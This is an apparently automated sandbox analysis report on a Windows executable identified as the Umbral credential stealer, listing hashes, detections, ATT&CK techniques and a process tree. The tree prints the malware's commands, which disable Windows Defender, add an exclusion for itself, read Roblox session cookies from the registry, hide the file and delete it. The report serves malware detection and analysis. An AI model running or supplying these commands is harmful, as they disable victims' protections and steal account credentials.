umbral | 11e30517a0f8838c940b35303a73b7b613c87e7aa9d8646c2e1877fae9450099

Analysis

max time kernel
94s
max time network
95s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
11-05-2024 21:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

P o o k i e s L o a d e r.exe
Size

232KB
MD5

bc4368699114c45e9d4f751837467fdb
SHA1

5f64e94c27dd0240c2604c6f9d8a746b5ce85e1a
SHA256

11e30517a0f8838c940b35303a73b7b613c87e7aa9d8646c2e1877fae9450099
SHA512

236879a4518e0ce1e1dade295933c78930171c0865cb9b539551fb6d1f1bdc68940b7e4ef6bc29966962eb0be2a13950722959f94d687c33293b7d4058f6e2b6
SSDEEP

6144:mloZM+rIkd8g+EtXHkv/iD41oIOmkrHM09YW3X2Hgb8e1m9+ik:QoZtL+EP81oIOmkrHM09YW3X2o+zk

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/2444-1-0x000001761E3C0000-0x000001761E400000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
4448	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	P o o k i e s L o a d e r.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
16	discord.com
17	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
3	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
644	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1340	PING.EXE

Suspicious behavior: EnumeratesProcesses 11 IoCs

pid	Process
2444	P o o k i e s L o a d e r.exe
4448	powershell.exe
4448	powershell.exe
4000	powershell.exe
4000	powershell.exe
4584	powershell.exe
4584	powershell.exe
4272	powershell.exe
4272	powershell.exe
4204	powershell.exe
4204	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	P o o k i e s L o a d e r.exe
Token: SeIncreaseQuotaPrivilege	3520	wmic.exe
Token: SeSecurityPrivilege	3520	wmic.exe
Token: SeTakeOwnershipPrivilege	3520	wmic.exe
Token: SeLoadDriverPrivilege	3520	wmic.exe
Token: SeSystemProfilePrivilege	3520	wmic.exe
Token: SeSystemtimePrivilege	3520	wmic.exe
Token: SeProfSingleProcessPrivilege	3520	wmic.exe
Token: SeIncBasePriorityPrivilege	3520	wmic.exe
Token: SeCreatePagefilePrivilege	3520	wmic.exe
Token: SeBackupPrivilege	3520	wmic.exe
Token: SeRestorePrivilege	3520	wmic.exe
Token: SeShutdownPrivilege	3520	wmic.exe
Token: SeDebugPrivilege	3520	wmic.exe
Token: SeSystemEnvironmentPrivilege	3520	wmic.exe
Token: SeRemoteShutdownPrivilege	3520	wmic.exe
Token: SeUndockPrivilege	3520	wmic.exe
Token: SeManageVolumePrivilege	3520	wmic.exe
Token: 33	3520	wmic.exe
Token: 34	3520	wmic.exe
Token: 35	3520	wmic.exe
Token: 36	3520	wmic.exe
Token: SeIncreaseQuotaPrivilege	3520	wmic.exe
Token: SeSecurityPrivilege	3520	wmic.exe
Token: SeTakeOwnershipPrivilege	3520	wmic.exe
Token: SeLoadDriverPrivilege	3520	wmic.exe
Token: SeSystemProfilePrivilege	3520	wmic.exe
Token: SeSystemtimePrivilege	3520	wmic.exe
Token: SeProfSingleProcessPrivilege	3520	wmic.exe
Token: SeIncBasePriorityPrivilege	3520	wmic.exe
Token: SeCreatePagefilePrivilege	3520	wmic.exe
Token: SeBackupPrivilege	3520	wmic.exe
Token: SeRestorePrivilege	3520	wmic.exe
Token: SeShutdownPrivilege	3520	wmic.exe
Token: SeDebugPrivilege	3520	wmic.exe
Token: SeSystemEnvironmentPrivilege	3520	wmic.exe
Token: SeRemoteShutdownPrivilege	3520	wmic.exe
Token: SeUndockPrivilege	3520	wmic.exe
Token: SeManageVolumePrivilege	3520	wmic.exe
Token: 33	3520	wmic.exe
Token: 34	3520	wmic.exe
Token: 35	3520	wmic.exe
Token: 36	3520	wmic.exe
Token: SeDebugPrivilege	4448	powershell.exe
Token: SeDebugPrivilege	4000	powershell.exe
Token: SeDebugPrivilege	4584	powershell.exe
Token: SeDebugPrivilege	4272	powershell.exe
Token: SeIncreaseQuotaPrivilege	3552	wmic.exe
Token: SeSecurityPrivilege	3552	wmic.exe
Token: SeTakeOwnershipPrivilege	3552	wmic.exe
Token: SeLoadDriverPrivilege	3552	wmic.exe
Token: SeSystemProfilePrivilege	3552	wmic.exe
Token: SeSystemtimePrivilege	3552	wmic.exe
Token: SeProfSingleProcessPrivilege	3552	wmic.exe
Token: SeIncBasePriorityPrivilege	3552	wmic.exe
Token: SeCreatePagefilePrivilege	3552	wmic.exe
Token: SeBackupPrivilege	3552	wmic.exe
Token: SeRestorePrivilege	3552	wmic.exe
Token: SeShutdownPrivilege	3552	wmic.exe
Token: SeDebugPrivilege	3552	wmic.exe
Token: SeSystemEnvironmentPrivilege	3552	wmic.exe
Token: SeRemoteShutdownPrivilege	3552	wmic.exe
Token: SeUndockPrivilege	3552	wmic.exe
Token: SeManageVolumePrivilege	3552	wmic.exe

Suspicious use of WriteProcessMemory 26 IoCs

description	pid	Process	procid_target
PID 2444 wrote to memory of 3520	2444	P o o k i e s L o a d e r.exe	83
PID 2444 wrote to memory of 3520	2444	P o o k i e s L o a d e r.exe	83
PID 2444 wrote to memory of 4528	2444	P o o k i e s L o a d e r.exe	88
PID 2444 wrote to memory of 4528	2444	P o o k i e s L o a d e r.exe	88
PID 2444 wrote to memory of 4448	2444	P o o k i e s L o a d e r.exe	90
PID 2444 wrote to memory of 4448	2444	P o o k i e s L o a d e r.exe	90
PID 2444 wrote to memory of 4000	2444	P o o k i e s L o a d e r.exe	92
PID 2444 wrote to memory of 4000	2444	P o o k i e s L o a d e r.exe	92
PID 2444 wrote to memory of 4584	2444	P o o k i e s L o a d e r.exe	94
PID 2444 wrote to memory of 4584	2444	P o o k i e s L o a d e r.exe	94
PID 2444 wrote to memory of 4272	2444	P o o k i e s L o a d e r.exe	96
PID 2444 wrote to memory of 4272	2444	P o o k i e s L o a d e r.exe	96
PID 2444 wrote to memory of 3552	2444	P o o k i e s L o a d e r.exe	99
PID 2444 wrote to memory of 3552	2444	P o o k i e s L o a d e r.exe	99
PID 2444 wrote to memory of 1500	2444	P o o k i e s L o a d e r.exe	101
PID 2444 wrote to memory of 1500	2444	P o o k i e s L o a d e r.exe	101
PID 2444 wrote to memory of 1612	2444	P o o k i e s L o a d e r.exe	103
PID 2444 wrote to memory of 1612	2444	P o o k i e s L o a d e r.exe	103
PID 2444 wrote to memory of 4204	2444	P o o k i e s L o a d e r.exe	105
PID 2444 wrote to memory of 4204	2444	P o o k i e s L o a d e r.exe	105
PID 2444 wrote to memory of 644	2444	P o o k i e s L o a d e r.exe	108
PID 2444 wrote to memory of 644	2444	P o o k i e s L o a d e r.exe	108
PID 2444 wrote to memory of 4164	2444	P o o k i e s L o a d e r.exe	111
PID 2444 wrote to memory of 4164	2444	P o o k i e s L o a d e r.exe	111
PID 4164 wrote to memory of 1340	4164	cmd.exe	113
PID 4164 wrote to memory of 1340	4164	cmd.exe	113

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
4528	attrib.exe

C:\Users\Admin\AppData\Local\Temp\P o o k i e s L o a d e r.exe
"C:\Users\Admin\AppData\Local\Temp\P o o k i e s L o a d e r.exe"
1⤵
- Drops file in Drivers directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2444
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3520
- C:\Windows\SYSTEM32\attrib.exe
  "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\P o o k i e s L o a d e r.exe"
  2⤵
  - Views/modifies file attributes
  PID:4528
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\P o o k i e s L o a d e r.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4448
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4000
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4584
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:4272
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:3552
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  PID:1500
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:1612
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  PID:4204
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:644
- C:\Windows\SYSTEM32\cmd.exe
  "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\P o o k i e s L o a d e r.exe" && pause
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4164
- - C:\Windows\system32\PING.EXE
    ping localhost
    3⤵
    - Runs ping.exe
    PID:1340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
6d42b6da621e8df5674e26b799c8e2aa

SHA1
ab3ce1327ea1eeedb987ec823d5e0cb146bafa48

SHA256
5ab6a1726f425c6d0158f55eb8d81754ddedd51e651aa0a899a29b7a58619c4c

SHA512
53faffbda8a835bc1143e894c118c15901a5fd09cfc2224dd2f754c06dc794897315049a579b9a8382d4564f071576045aaaf824019b7139d939152dca38ce29

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
966914e2e771de7a4a57a95b6ecfa8a9

SHA1
7a32282fd51dd032967ed4d9a40cc57e265aeff2

SHA256
98d3c70d7004fa807897317bd6cd3e977b9b6c72d4d2565aca0f9f8b1c315cba

SHA512
dc39c7124a9c7c8d4c7e8e16290c46360b8d9a8f4e43edaacbbeb09bdcf20159a53db54d2b322372001b6a3de52b2f88e9088b5fdbc7638816ae0d122bb015f5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
e67c068edb1b25134201027ba89b5151

SHA1
797cacd7ed983481b4ba85a870a519db06a56799

SHA256
d20e66ec8380b25e0f4cddbce17204e3e52ec7f476bb7dd62237fa5a7ac5f1fd

SHA512
287a2cb9816d1794f96801df515e1b56e0c355972b2fb3a5e2fe5535bff3960148eee4789f3319a19018b0e4a3baadf42db6bc14c2685f30e62b58102702d05c

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ahnborvm.qng.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2444-71-0x0000017638860000-0x000001763886A000-memory.dmp

Filesize
40KB

Download
memory/2444-35-0x000001761E8A0000-0x000001761E8BE000-memory.dmp

Filesize
120KB

Download
memory/2444-92-0x00007FFEE9C40000-0x00007FFEEA701000-memory.dmp

Filesize
10.8MB

Download
memory/2444-91-0x0000017638D70000-0x0000017638F19000-memory.dmp

Filesize
1.7MB

Download
memory/2444-2-0x00007FFEE9C40000-0x00007FFEEA701000-memory.dmp

Filesize
10.8MB

Download
memory/2444-34-0x0000017638AF0000-0x0000017638B40000-memory.dmp

Filesize
320KB

Download
memory/2444-33-0x0000017638B70000-0x0000017638BE6000-memory.dmp

Filesize
472KB

Download
memory/2444-72-0x0000017638B40000-0x0000017638B52000-memory.dmp

Filesize
72KB

Download
memory/2444-1-0x000001761E3C0000-0x000001761E400000-memory.dmp

Filesize
256KB

Download
memory/2444-0-0x00007FFEE9C43000-0x00007FFEE9C45000-memory.dmp

Filesize
8KB

Download
memory/4204-86-0x000001E0F67D0000-0x000001E0F6818000-memory.dmp

Filesize
288KB

Download
memory/4448-4-0x00007FFEE9C40000-0x00007FFEEA701000-memory.dmp

Filesize
10.8MB

Download
memory/4448-11-0x000001D124CD0000-0x000001D124CF2000-memory.dmp

Filesize
136KB

Download
memory/4448-5-0x00007FFEE9C40000-0x00007FFEEA701000-memory.dmp

Filesize
10.8MB

Download
memory/4448-3-0x00007FFEE9C40000-0x00007FFEEA701000-memory.dmp

Filesize
10.8MB

Download
memory/4448-18-0x00007FFEE9C40000-0x00007FFEEA701000-memory.dmp

Filesize
10.8MB

Download